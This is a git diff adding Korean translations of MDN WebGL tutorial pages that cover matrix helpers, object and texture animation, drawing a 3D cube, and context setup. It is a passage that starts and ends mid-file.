+<p>이 데모에서 사용한<span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">glUtils.js</span> 파일은 웹에 떠돌아 다니는 많은 WebGL 데모에서 사용하고 있습니다. 이 파일이 어디서 나온 것인지 명확히 아는 사람은 아무도 없는것 같습니다만, HTML 로 출력하기 위한 메소드 뿐만 아니라 특별한 형태의 행렬을 만들기 위한 메소드를 추가되어 있어   Sylvester를 보다 정말 단순화 시켜놓았습니다.</p>
+
+<p>게다가 이 데모는 특정 작업을 위한 라이브러리를 이용할 때 도움될만한 몇가지 루틴을 정의하고 있습니다.  정확히 이것들이 어떤 일을 하는 것인지는 이 데모에서 다룰 범위는 아닙니다. 하지만 온라인에서 참고할만 한 좋은 레퍼런스가 많이 있습니다. 아래 {{ anch("See also") }} 섹션에 그 중 몇 개를 소개하고 있습니다.</p>
+
+<pre class="brush: js">function loadIdentity() {
+  mvMatrix = Matrix.I(4);
+}
+
+function multMatrix(m) {
+  mvMatrix = mvMatrix.x(m);
+}
+
+function mvTranslate(v) {
+  multMatrix(Matrix.Translation($V([v[0], v[1], v[2]])).ensure4x4());
+}
+
+function setMatrixUniforms() {
+  var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
+  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+
+  var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
+  gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://mathworld.wolfram.com/Matrix.html" title="http://mathworld.wolfram.com/Matrix.html">Matrices</a> on Wolfram MathWorld</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Matrix_(mathematics)" title="http://en.wikipedia.org/wiki/Matrix_(mathematics)">Matrix</a> on Wikipedia</li>
+</ul>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
new file mode 100644
index 0000000000..c8dfcc893d
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -0,0 +1,125 @@
+---
+title: WebGL을 사용한 객체 애니메이션
+slug: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+tags:
+  - WebGL
+  - 애니메이션
+  - 회전
+translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
+
+<p>앞 단원에서의 예제 코드는 정지되어 있는 것처럼 보이지만 사실은 15밀리초마다 한 번 씩 WebGL 장면(Scene)을 다시 그리도록 설정되어 있습니다. 그려질 객체의 상태가 계속 똑같기 때문에, 똑같은 객체를 15밀리초마다 계속 다시 그리고 있는 것입니다. 이제 우리가 그린 정사각형을 실제로 움직이게 만들어 보겠습니다.</p>
+
+<p>이번 예제에서는 2차원 정사각형을 3차원으로 회전시키고 이동시켜 보겠습니다. 3차원을 이루는 X, Y, Z축 방향 모두를 중심으로 회전시켜 보면, 우리가 그린 것은 2차원 정사각형이지만 3차원 공간 안에 존재한다는 것을 실감할 수 있을 것 입니다.</p>
+
+<h2 id="정사각형_회전시키기">정사각형 회전시키기</h2>
+
+<p>먼저 정사각형을 회전시켜 보겠습니다. 회전 시키려면 회전 상태(회전량)를 저장할 변수가 필요합니다:</p>
+
+<pre class="brush: js">var squareRotation = 0.0;
+</pre>
+
+<p>이제 <span style="line-height: 16.7999992370605px;">정사각형을 그릴 때 회전을 반영하도록 </span><code>drawScene()</code> 함수를 수정해야 합니다. 정사각형을 처음에 그려질 위치로 이동시키고 나서 다음과 같이 회전을 적용합니다:</p>
+
+<pre class="brush: js">mvPushMatrix();
+mvRotate(squareRotation, [1, 0, 1]);
+</pre>
+
+<p>현재 상태의 모델-뷰 행렬을 저장하고, X축과 Z축을 기준으로 <code>squareRotation</code> 만큼 행렬을 회전시킵니다.</p>
+
+<p>정사각형을 그리고 난 후에 모델-뷰 행렬을 원상태로 복구합니다:</p>
+
+<pre class="brush: js">mvPopMatrix();
+</pre>
+
+<p>모델-뷰 행렬을 복구하는 이유는 이 회전이 다른 객체에 영향을 미치는 것을 예방하기 위해서 입니다.</p>
+
+<p>실제로 애니메이션 효과가 나타나도록 하려면 <code>squareRotation</code> 값을 시간이 지남에 따라 계속 변경해주는 코드를 추가해야 합니다. <code>lastSquareUpdateTime</code>이라는 변수에 마지막으로 다시 그렸던 시각을 저장하고, 다음과 같은 코드를 <code><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">drawScene()</span></code>에 추가합니다: </p>
+
+<pre class="brush: js">var currentTime = (new Date).getTime();
+if (lastSquareUpdateTime) {
+  var delta = currentTime - lastSquareUpdateTime;
+
+  squareRotation += (30 * delta) / 1000.0;
+}
+
+lastSquareUpdateTime = currentTime;
+</pre>
+
+<p>이 코드는 마지막으로 <code>squareRotation</code>의 값을 변경한 시각과 현재 시각과의 차이를 이용해서 회전량을 나타내는 <code>squareRotation</code>의 값을 결정 합니다.</p>
+
+<h2 id="정사각형_이동시키기">정사각형 이동시키기</h2>
+
+<p>정사각형을 그리기 전에 위치값을 변경하면 정사각형을 이동시킬 수 있습니다. 이번 예제에서는 학습을 목적으로 아주 기초적인 애니메이션을 구현해봅니다. 실전에서 이런 식으로 애니메이션을 구현하면 사람들에게 사랑받지 못할 것입니다.</p>
+
+<p>X, Y, Z 각 축별 오프셋(offset) 값을 새 변수에 저장합니다:</p>
+
+<pre class="brush: js">var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+</pre>
+
+<p>축 별 위치 변동값을 다음과 같이 각기 다른 값으로 지정합니다:</p>
+
+<pre class="brush: js">var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+</pre>
+
+<p>이제 위치 변동값을 계산하는 코드를 위에서 구현한 회전량 계산 코드 바로 아래에 추가합니다:</p>
+
+<pre class="brush: js">squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+if (Math.abs(squareYOffset) &gt; 2.5) {
+  xIncValue = -xIncValue;
+  yIncValue = -yIncValue;
+  zIncValue = -zIncValue;
+}
+</pre>
+
+<p>마지막으로 다음 코드를 <code>drawScene()</code> 함수에 추가합니다:</p>
+
+<pre class="brush: js">mvTranslate([squareXOffset, squareYOffset, squareZOffset]);</pre>
+
+<p>이제 정사각형이 화면에서 좌, 우, 위, 아래, 앞, 뒤로 완전히 자기멋대로 움직이면서 회전하는 것을 볼 수 있습니다. 어찌보면 바탕화면 보호기 같기도 합니다.</p>
+
+<p>WebGL이 지원되는 브라우저라면, <a href="/samples/webgl/sample4/index.html">여기</a>에서 실제 동작하는 예제를 확인할 수 있습니다.</p>
+
+<h2 id="추가적인_행렬_연산">추가적인 행렬 연산</h2>
+
+<p>아래의 예제는 스택을 사용하는 두 개의 push, pop 루틴과, 주어진 각도만큼 회전시키는 행렬을 포함하는 몇 가지 추가적인 행렬 연산을 사용합니다. 한 번 참고하시기 바랍니다:</p>
+
+<pre class="brush: js">var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+</pre>
+
+<p>이 루틴은 예전에 <span style="line-height: 16.7999992370605px;">Vlad Vukićević가 작성했던 예제를 참고하여 만들었습니다.</span></p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html
new file mode 100644
index 0000000000..723c1318ab
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html
@@ -0,0 +1,117 @@
+---
+title: WebGL에서의 텍스쳐 애니메이션
+slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+tags:
+  - Animation
+  - HTML5
+  - Texture
+  - Video
+  - WebGL
+  - 애니메이션
+  - 웹지엘
+  - 텍스쳐
+translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>앞 단원에서는 정적인 텍스쳐를 사용한 예제를 만들어 봤었는데, 이번에는 Ogg 비디오 파일을 이용해서 텍스쳐에 애니메이션 효과를 적용해 보겠습니다. 사실 만들기 상당히 쉽지만, 그래도 보는 재미는 쏠쏠하니까 한 번 만들어 보겠습니다. 텍스쳐를 구성할 소스로 어떤 종류의 데이터(예를 들면 <span style="line-height: 16.7999992370605px;">{{ HTMLElement("canvas") }}와 같은</span>)를 쓰더라도 코드는 비슷할 것입니다.</p>
+
+<h2 id="텍스쳐를_구성할_비디오_로딩">텍스쳐를 구성할 비디오 로딩</h2>
+
+<p>가장 먼저 할 일은 비디오 프레임을 조회하는데 사용할 <span style="line-height: 16.7999992370605px;">{{ HTMLElement("video") }} </span>요소를 생성하는 것입니다:</p>
+
+<pre class="brush: js">&lt;video id="video"&gt;
+  Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element.
+&lt;/video&gt;
+</pre>
+
+<blockquote>
+<p>역자 주 : 실제 예제 소스 코드를 보면 비디오 태그가 위와 같이 id 속성만 있는 것이 아니라 아래와 같이 src 속성과 autoplay 속성도 추가되어 있습니다.</p>
+
+<pre class="brush: js" style="font-size: 14px;">&lt;video id="video" src="Firefox.ogv" autoplay&gt;
+  Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element.
+&lt;/video&gt;
+</pre>
+</blockquote>
+
+<p>위 코드는 <span style="line-height: 16.7999992370605px;">'Firefox.ogv" 비디오 파일을 재생할 </span><span style="line-height: 16.7999992370605px;">{{ HTMLElement("video") }} 요소를 생성합니다. 다음과 같은 CSS 코드를 작성해서 비디오가 자동으로 표시되지 않도록 합니다:</span></p>
+
+<pre class="brush: css">video {
+  display: none;
+}
+</pre>
+
+<p>이제 자바스크립트 코드를 살펴보겠습니다. <code>start()</code> 함수에 비디오 요소에 대한 참조를 가져오는 코드를 추가합니다:</p>
+
+<pre class="brush: js">videoElement = document.getElementById("video");
+</pre>
+
+<p><code>setInterval()</code>을 이용해서 <code>drawScene()</code>을 주기적으로 호출하던 코드를 아래의 코드로 대체합니다:</p>
+
+<pre class="brush: js">videoElement.addEventListener("canplaythrough", startVideo, true);
+videoElement.addEventListener("ended", videoDone, true);
+</pre>
+
+<p><span style="line-height: 16.7999992370605px;">비디오 요소의 src 속성으로 </span>비디오 파일의 위치를 지정해서 비디오 로딩을 시작합니다. FIXME (이 글의 작성자의 한 사람인 bjacob에게) : <code>preload="auto"</code>를 여기에서 명시하지 않으면 파이어폭스에서는 <code>canplaythrough </code>이벤트가 발생되지 않음. 크롬에서는 <code>preload="auto"</code> 지정 여부와 관계없이 비디오 로딩 시작.</p>
+
+<blockquote>
+<p>역자 주 : 예제에 보면 아래와 같이 자바스크립트에서 preload나 src를 명시하지 않고, 위의 역자 주에 있는 것처럼 비디오 태그 내에 속성값으로 기술하고 있으므로, 바로 위 문단과 아래의 코드는 무시해도 좋을 것 같습니다.</p>
+</blockquote>
+
+<pre>video.preload = "auto";
+videoElement.src = "Firefox.ogv";</pre>
+
+<p>비디오 재생 시 끊김이 없도록 충분히 버퍼링 해둔 후에 애니메이션을 시작하는 것이 좋습니다. 전체 비디오가 끊김 없이 재생될 수 있을만큼 충분한 데이터가 버퍼링 된 후에 비디오의 재생이 시작되도록 <span style="line-height: 16.7999992370605px;">아래와 같이 </span><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">canplaythrough </span><span style="line-height: 16.7999992370605px;">이벤트에 대한 리스너인 <code>startVideo()</code>를 추가합니다:</span></p>
+
+<pre class="brush: js">function startVideo() {
+  videoElement.play();
+  intervalID = setInterval(drawScene, 15);
+}
+</pre>
+
+<p>위 코드는 단순히 비디오 재생을 시작하고, 정육면체의 렌더링을 처리하는 <code>drawScene()</code> 함수를 <span style="line-height: 16.7999992370605px;"><code>setInterval()</code> 함수를 이용해서 주기적으로 호출합니다.</span></p>
+
+<p>비디오가 끝날 때 방생하는 <code>ended </code>이벤트에 대한 리스너도 추가해서, 비디오 재생이 끝나면 불필요하게 CPU 시간을 잡아먹지 않도록 애니메이션을 중단시킵니다.</p>
+
+<pre class="brush: js">function videoDone() {
+  clearInterval(intervalID);
+}</pre>
+
+<p><code>videoDone()</code> 함수는 단순히 <span style="line-height: 16.7999992370605px;">{{ domxref("window.clearInterval()") }} 함수를 호출해서 애니메이션을 업데이트하는 <code>drawScene()</code> 함수의 호출을 중단시킵니다.</span></p>
+
+<h2 id="비디오_프레임을_텍스쳐로_사용하기">비디오 프레임을 텍스쳐로 사용하기</h2>
+
+<p>비디오 로딩과 재생에 대한 처리를 마치면, <code>initTexture()</code> 함수의 내용을 변경해야 합니다. 이번에는 이미지를 로딩하는 대신 비어있는 텍스쳐 객체를 생성하고, 텍스쳐 객체를 나중에 사용할 수 있도록 필터링을 설정하기만 하면 되므로, <code>initTexture()</code> 함수의 내용이 앞 단원의 예제보다 <span style="line-height: 16.7999992370605px;">조금 </span>더 간단해집니다: </p>
+
+<pre class="brush: js">function initTextures() {
+  cubeTexture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+}
+</pre>
+
+<p>가장 중요한 텍스쳐의 업데이트를 담당하는 <code>updateTexture()</code> 함수는 다음과 같습니다:</p>
+
+<pre class="brush: js">function updateTexture() {
+  gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+  gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, videoElement);
+}
+</pre>
+
+<p>위와 같은 코드를 전에 본 적이 있을 것입니다. <code>texImage2D()</code>를 호출할 때 <code>Image </code>객체를 전달하지 않고 <span style="line-height: 16.7999992370605px;">{{ HTMLElement("video") }} 요소를 전달한다는 것만 제외하면, 앞 단원에서 사용했던 </span><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;"><code>handleTextureLoaded()</code> </span><span style="line-height: 16.7999992370605px;">루틴과 거의 똑같습니다. 현재의 프레임을 추출해서 텍스쳐로 사용하는 것은 WebGL이 알아서 처리합니다.</span></p>
+
+<p><span style="line-height: 16.7999992370605px;"><code>drawScene() </code>함수에는 맨 앞에 </span><span style="font-family: consolas,monaco,andale mono,monospace; line-height: 16.7999992370605px;">updateTexture()</span><span style="line-height: 16.7999992370605px;">를 추가합니다. <code>drawScene()</code> 함수에 의해 장면을 다시 그릴 때마다 </span><code style="font-style: normal; line-height: 16.7999992370605px;">updateTexture()</code>이 호출됩니다.</p>
+
+<p>이제 완성입니다! WebGL을 지원하는 브라우저라면 <a href="/samples/webgl/sample8/index.html">여기</a>에서 실제 작동하는 예제를 확인할 수 있습니다.</p>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">파이어폭스에서 audio와 video 사용하기</a></li>
+</ul>
+
+<p>{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
new file mode 100644
index 0000000000..e4d3cf991f
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
@@ -0,0 +1,132 @@
+---
+title: WebGL로 3D 객체 만들기
+slug: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+tags:
+  - 3D
+  - 3차원
+  - WebGL
+  - 입체
+translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
+
+<p>이제 우리가 만든 정사각형에 5개의 면을 더해서 3차원 정육면체를 만들어 보겠습니다. 이 작업을 조금 더 효율적으로 하기 위해서 <code>drawArray()</code> 메서드를 호출해서 정점을 직접 핸들링하는 대신에, 정점 배열을 인덱스와 값으로 정의된 테이블이라고 생각하고, 각 정점을 인덱스로 참조해서 정육면체 각 면의 정점 위치를 정의하고 <code>gl.drawElements()</code>를 호출해서 그려보겠습니다.</p>
+
+<p>고려 사항 : 정육면체의 각 면은 4개의 정점이 필요하고, 정육면체에는 6개의 면이 있으므로 총 24개의 정점이 필요할 것 같지만, 하나의 정점이 세 개의 면에 공통적으로 사용되므로 실제로는 8개의 정점만 있으면 됩니다. 그리고 이 8개의 정점 각각에 인덱스 번호를 매겨서 참조하면 한 개의 정점을 세 개의 면에 재사용할 수 있습니다. 하지만 이번 예제에서는 8개가 아니라 24개의 정점을 사용하는데, 그 이유는 한 꼭지점에서 만나는 세 개의 면마다 다른 색상을 적용할 것이기 때문입니다. 하나의 정점은 한 개의 색상만을 가질 수 있으므로, 세 개의 색상을 표시하려면 세 개의 정점이 필요합니다. 따라서 <span style="line-height: 16.7999992370605px;">기하학적으로는 하나의 꼭지점일지라도 </span>세 개의 색상을 표시하기 위해서는 세 개의 정점이 필요 합니다.</p>
+
+<h2 id="정육면체의_정점_위치_정의">정육면체의 정점 위치 정의</h2>
+
+<p>먼저 <code>initBuffers()</code> 내부에 있는 코드를 수정해서 정육면체의 정점 버퍼를 만듭니다. 방식은 정사각형을 그릴 때와 거의 비슷하지만, 정점의 수는 하나의 면에 4개 씩, 총 24개로 정사각형보다 더 많습니다:</p>
+
+<pre class="brush: js">var vertices = [
+  // 앞면(Front face)
+  -1.0, -1.0,  1.0,
+   1.0, -1.0,  1.0,
+   1.0,  1.0,  1.0,
+  -1.0,  1.0,  1.0,
+
+  // 뒤면(Back face)
+  -1.0, -1.0, -1.0,
+  -1.0,  1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0, -1.0, -1.0,
+
+  // 위면(Top face)
+  -1.0,  1.0, -1.0,
+  -1.0,  1.0,  1.0,
+   1.0,  1.0,  1.0,
+   1.0,  1.0, -1.0,
+
+  // 아래면(Bottom face)
+  -1.0, -1.0, -1.0,
+   1.0, -1.0, -1.0,
+   1.0, -1.0,  1.0,
+  -1.0, -1.0,  1.0,
+
+  // 오른쪽면(Right face)
+   1.0, -1.0, -1.0,
+   1.0,  1.0, -1.0,
+   1.0,  1.0,  1.0,
+   1.0, -1.0,  1.0,
+
+  // 왼쪽면(Left face)
+  -1.0, -1.0, -1.0,
+  -1.0, -1.0,  1.0,
+  -1.0,  1.0,  1.0,
+  -1.0,  1.0, -1.0
+];
+</pre>
+
+<h2 id="정점의_색상_정의">정점의 색상 정의</h2>
+
+<p>24개 정점의 색상 배열도 만들어야 합니다. 각 면의 색상을 하나의 배열로 정의하고, 반복문을 돌면서 모든 정점의 색상 정보를 하나의 배열로 만듭니다.</p>
+
+<pre class="brush: js">var colors = [
+  [1.0,  1.0,  1.0,  1.0],    // 앞면 : 흰색
+  [1.0,  0.0,  0.0,  1.0],    // 뒤면 : 빨간색
+  [0.0,  1.0,  0.0,  1.0],    // 위면 : 녹색
+  [0.0,  0.0,  1.0,  1.0],    // 아래면 : 파란색
+  [1.0,  1.0,  0.0,  1.0],    // 오른쪽면 : 노란색
+  [1.0,  0.0,  1.0,  1.0]     // 왼쪽면 : 보라색
+];
+
+var generatedColors = [];
+
+for (j=0; j&lt;6; j++) {
+  var c = colors[j];
+
+  for (var i=0; i&lt;4; i++) {
+    generatedColors = generatedColors.concat(c);
+  }
+}
+
+cubeVerticesColorBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesColorBuffer);
+gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(generatedColors), gl.STATIC_DRAW);
+</pre>
+
+<h2 id="인덱스_배열_정의">인덱스 배열 정의</h2>
+
+<p>정점 배열을 만들었으면 인덱스 배열(원문 : element array)을 만들어야 합니다.</p>
+
+<pre class="brush: js">cubeVerticesIndexBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+
+// 인덱스 배열은 하나의 면을 두 개의 삼각형으로 정의합니다.
+// 인덱스 배열의 원소인 각 숫자는 정점 배열에서 한 정점의 위치를 나타냅니다.
+// 즉, 아래의 인덱스 배열에서의 0, 1, 2,   0, 2, 3은
+// 정점 배열에서 0, 1, 2번째의 정점으로 이루어진 삼각형과
+// 0, 2, 3번째 정점으로 이루어진 삼각형 두 개로
+// 하나의 면을 나타낸다는 의미입니다.
+
+var cubeVertexIndices = [
+  0,  1,  2,      0,  2,  3,    // front
+  4,  5,  6,      4,  6,  7,    // back
+  8,  9,  10,     8,  10, 11,   // top
+  12, 13, 14,     12, 14, 15,   // bottom
+  16, 17, 18,     16, 18, 19,   // right
+  20, 21, 22,     20, 22, 23    // left
+];
+
+// 인덱스 배열을 GL에 전달
+
+gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+    new Uint16Array(cubeVertexIndices), gl.STATIC_DRAW);
+</pre>
+
+<p><code>cubeVertexIndices</code> 배열은 <span style="line-height: 16.7999992370605px;">정육면체 정점 배열의 인덱스값을 원소로 가지며, 각 인덱스 값에 해당하는 정점을 순서대로 세 개씩 묶어서 하나의 삼각형을 구성하고, 삼각형 두 개를 순서대로 묶어서 하나의 면으로 정의합니다. 따라서 6개의 면을 가진 정육면체는 12개의 삼각형의 조합으로 표현할 수 있습니다.</span></p>
+
+<h2 id="정육면체_그리기">정육면체 그리기</h2>
+
+<p>다음 단계로 정육면체의 인덱스 버퍼를 이용해서 정육면체를 그릴 수 있도록 <code>drawScene()</code> 함수 내부에 코드를 추가 합니다. 인덱스 버퍼를 사용하기 위한 <code>bindBuffer()</code>와 정육면체를 그리기 위한 <code>drawElements()</code> 호출문을 추가합니다:</p>
+
+<pre class="brush: js">gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, cubeVerticesIndexBuffer);
+setMatrixUniforms();
+gl.drawElements(gl.TRIANGLES, 36, gl.UNSIGNED_SHORT, 0);
+</pre>
+
+<p>정육면체의 각 면이 두 개의 삼각형으로 이루어져 있으므로, 한 면에는 6개의 정점이 있으며, 정육면체 전체로는 총 36개의 정점이 존재합니다. 정점 배열에는 24개의 정점이 있었으므로 36개의 정점을 구성하려면 하나의 정점이 여러번 중복되어 사용 되었을 것 입니다. 비효율적이라고 생각될 수도 있지만, 인덱스 배열은 처리가 단순한 정수형 데이터로만 구성되어 있으므로, 36개의 정수형 배열이 하나의 애니메이션 프레임에서 처리하기에 지나치게 많은 수준의 데이터는 아닙니다.</p>
+
+<p>이제 지금까지 만든 정육면체를 확인 해 보겠습니다. WebGL을 지원하는 브라우저에서는 <a href="/samples/webgl/sample5/index.html">여기</a>에서 6개의 면이 원색으로 채색된 정육면체를 볼 수 있습니다.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
new file mode 100644
index 0000000000..95fcd36346
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -0,0 +1,100 @@
+---
+title: Getting started with WebGL
+slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+tags:
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a>은 플러그인을 사용하지 않고 <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0 기반 API를 이용하여 브라우저의 HTML <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a>에 렌더링하여 3D 웹 콘텐츠 제작을 가능하게 합니다. WebGL 프로그램은 컴퓨터의 그래픽 처리 장치(GPU)에서 실행되는 자바스크립트나 특수 효과(셰이더 코드)코드로 구성됩니다. WebGL 요소들은 다른 HTML 요소들과 혼합될 수 있고 페이지나 페이지 배경의 다른 부분과 합성될 수 있습니다.</p>
+
+<p>이 문서는 기본 WebGL 기본 사항을 소개합니다. 이 문서에서는 3D 그래픽에 관련된 수학적 이해를 이미 이해하고 있다고 간주하고 OpenGL 자체에 대하여 설명하지 않을 것입니다.</p>
+
+<h2 id="3D_렌더링_준비" style="line-height: 30px; font-size: 2.14285714285714rem;">3D 렌더링 준비</h2>
+
+<p>WebGL을 사용하여 3D 렌더링을 하는 데 첫 번째로 필요한 것은 캔버스입니다. <span style="line-height: 1.5;">아래 HTML 코드는 canvas를 만들고 사용할 WebGL 컨텍스트를 초기화하는 onload 이벤트 핸들러를 지정합니다.</span></p>
+
+<pre class="brush: html">&lt;body onload="start()"&gt;
+  &lt;canvas id="glcanvas" width="640" height="480"&gt;
+    Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element.
+  &lt;/canvas&gt;
+&lt;/body&gt;</pre>
+
+<h3 id="WebGL_컨텍스트_준비" style="line-height: 24px; font-size: 1.71428571428571rem;">WebGL 컨텍스트 준비</h3>
+
+<p>자바스크립트 코드에서 <code>start()</code> 함수는 문서가 다 불러와지면 호출됩니다. 이 함수의 기능은 WebGL 컨텍스트를 설정하고 콘텐츠 렌더링을 시작하는 것입니다.</p>
+
+<pre class="brush: js">var gl; // A global variable for the WebGL context
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // Initialize the GL context
+
+  // Only continue if WebGL is available and working
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // Set clear color to black, fully opaque
+    gl.enable(gl.DEPTH_TEST);                               // Enable depth testing
+    gl.depthFunc(gl.LEQUAL);                                // Near things obscure far things
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // Clear the color as well as the depth buffer.
+  }
+} </pre>
+
+<p><span style="line-height: 1.5;">첫 번째 할 일은 canvas에 대한 참조를 얻는 것 입니다. canvas라는 변수에 지정합니다.</span> 당연히 canvas를 반복적으로 참조할 필요는 없고 전역 변수로 저장하는 것은 피해야 합니다. 지역 변수나 객체의 필드 멤버로 참조해야 됩니다.</p>
+
+<p>캔버스가 있으면 <code>initWebGL()</code>이라는 함수를 호출할 수 있습니다. 이 함수는 일시적으로 정의되고 WebGL 컨텍스트를 초기화하는 일을 합니다.</p>
+
+<p><span style="line-height: 1.5;">만약 컨텍스트가 성공적으로 초기화 되면 gl은 이를 참조합니다. </span><span style="line-height: 1.5;">이번 예제에서는 검은색 투명 색상을 설정하면 컨텍스트를 그 색상으로 지정합니다. </span>그 다음 컨텍스트는 설정 매개변수로 설정됩니다. 예제에서는 깊이 테스트가 가능하고 가까운 물체가 멀리 떨어저 있는 물체를 가리는 것을 지정합니다.</p>
+
+<p>코드에서 초기화를 전달하는 목적은 우리가 하려는 것 전부 입니다. 잠시 후 실제로 무언가를 어떻게 시작하는가 알아볼 것입니다.</p>
+
+<h3 id="WebGL_컨텍스트_생성">WebGL 컨텍스트 생성</h3>
+
+<p><code>initWebGL()</code> 함수는 다음과 같습니다.</p>
+
+<pre class="brush: js">function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Try to grab the standard context. If it fails, fallback to experimental.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
